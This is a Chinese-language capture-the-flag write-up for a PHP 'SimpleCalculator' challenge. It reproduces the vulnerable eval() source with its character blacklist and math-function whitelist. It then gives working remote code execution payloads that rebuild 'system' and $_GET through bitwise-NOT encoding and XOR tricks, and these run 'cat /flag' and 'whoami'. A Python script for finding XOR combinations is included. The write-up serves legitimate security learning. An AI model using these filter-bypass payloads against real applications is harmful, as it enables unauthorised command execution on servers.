http://www.bmzclub.cn/challenges#SimpleCalculator
测试了下发现除数学相关的一些关键字之外,其他的字母都会被过滤。长度限制80
。异或、取反都可以执行,猜测这里最后使用的eval()
对经过过滤字符进行了代码执行,代码执行的绕过在我之前的博客讲过:浅谈PHP代码执行中出现过滤限制的绕过执行方法
这里利用取反绕过即可
PS C:\Users\Administrator> php -r "var_dump(urlencode(~'phpinfo'));"
Command line code:1:
string(21) "%8F%97%8F%96%91%99%90"
/flag.php?search=(~%8F%97%8F%96%91%99%90)()
PS C:\Users\Administrator> php -r "var_dump(urlencode(~'system'));"
Command line code:1:
string(18) "%8C%86%8C%8B%9A%92"
PS C:\Users\Administrator> php -r "var_dump(urlencode(~'cat /flag'));"
Command line code:1:
string(27) "%9C%9E%8B%DF%D0%99%93%9E%98"
/flag.php?search=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98)
读一下源码flag.php
<?php
error_reporting(0);
require_once('header.php');
require_once('./libs/Smarty.class.php');
/*
function filter($content)
{
if (strlen($content) >= 80) {
$smarty->display("string:"."00000000000");
return 1;
}
$blacklist = [' ', '\t', '\r', '\n', '"', '`'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
$smarty->display("string:"."111111111111");
return 1;
}
}
return 0;
}
*/
$smarty = new Smarty();
if (!empty($_GET['search']))
{
$content=$_GET['search'];
}
else
$content="1+1";
/*
if(filter($ip))
{
$smarty->display("string:"."00000000000");
die("0000000000000000");
}
*/
//$your_ip = $smarty->display("string:".$ip);
echo "计算结果 : ";
if (strlen($content) >= 80) {
die("你的输入也太长了吧= =");
}
$specialchars = [' ', '\t', '\r', '\n','\'', '"', '`'];
foreach ($specialchars as $cc) {
if (preg_match('/' . $cc . '/m', $content)) {
die("想啥呢= =输这种奇奇怪怪的字符");
}
}
$whitelist = [ 'is_finite','deg2rad', 'mt_getrandmax','is_infinite','log10' ];
$whitelist1=['pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'cos', 'cosh', 'decbin' , 'tan', 'tanh'];
$whitelist = array_merge($whitelist, $whitelist1);
$whitelist1 =['expm1', 'floor', 'fmod', 'acosh', 'getrandmax', 'asin', 'asinh', 'decoct', 'atan2', 'atan', 'atanh'];
$whitelist = array_merge($whitelist, $whitelist1);
$whitelist1 =['lcg_value', 'min', 'acos','log1p', 'log', 'max', 'is_nan', 'mt_srand', 'octdec'];
$whitelist = array_merge($whitelist, $whitelist1);
$whitelist1= ['bindec', 'ceil', 'hexdec', 'hypot','mt_rand','exp'];
$whitelist = array_merge($whitelist, $whitelist1);
preg_match_all('/[a-zA-Z_][a-zA-Z_0-9]*/', $content, $extractfunc);
foreach ($extractfunc[0] as $ee) {
if (!in_array($ee, $whitelist)) {
die("想啥呢= = $ee 这个数学函数不支持");
}
}
$output=eval('echo '.$content.';');;
$smarty->display("string:".($output));
echo "";
?>
再来看下另一种姿势,也是网上看到的,学习一下
利用白名单中的数学函数结合数字构造payload字符
/flag.php?search=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=whoami
或者这样写也行
/flag.php?search=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi[7]($pi[77])&7=system&77=whoami
这种就是利用白名单的字符加上允许传参的字符构造出payload$_GET[]
代码执行绕过对当前参数的过滤
利用白名单做一个fuzz测试筛选出哪些字符可以构造出我们想要的字符即可,用Python简单处理即可
mathlist = ['is_finite','deg2rad', 'mt_getrandmax','is_infinite','log10','pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'cos', 'cosh', 'decbin' , 'tan', 'tanh','expm1', 'floor', 'fmod', 'acosh', 'getrandmax', 'asin', 'asinh', 'decoct', 'atan2', 'atan', 'atanh','lcg_value', 'min', 'acos','log1p', 'log', 'max', 'is_nan', 'mt_srand', 'octdec','bindec', 'ceil', 'hexdec', 'hypot','mt_rand','exp']
def calcxor(param):
lenparam = len(param)
maxnum = pow(10,lenparam)
for func in mathlist:
if lenparam > len(func):
continue
func = func[:lenparam]
for num in range(int(maxnum/10),maxnum):
num = '{}'.format(num)
xornums = ''
for i in range(lenparam):
xornum = '{}'.format(ord(func[i]) ^ ord(num[i]))
xornums += chr(int(xornum))
if xornums == param:
print('{} ^ {} == {}'.format(func,num,xornums))
if __name__ == '__main__':
param = '_G'
calcxor(param)
is ^ 64 == _G
mt ^ 23 == _G
is ^ 64 == _G
is ^ 64 == _G
mt ^ 23 == _G
mt ^ 23 == _G
ra ^ 75 == ET
ra ^ 75 == ET
ta ^ 15 == ET
ta ^ 15 == ET
随便挑选白名单种用is
或者mt
做前缀的函数和以上数字异或构造_G
,ra
或者ta
做前缀的函数和数字异或构造成ET
/flag.php?search=$pi=(mt_rand^(2).(3)).(rand^(7).(5));$$pi[7]($$pi[77])&7=system&77=whoami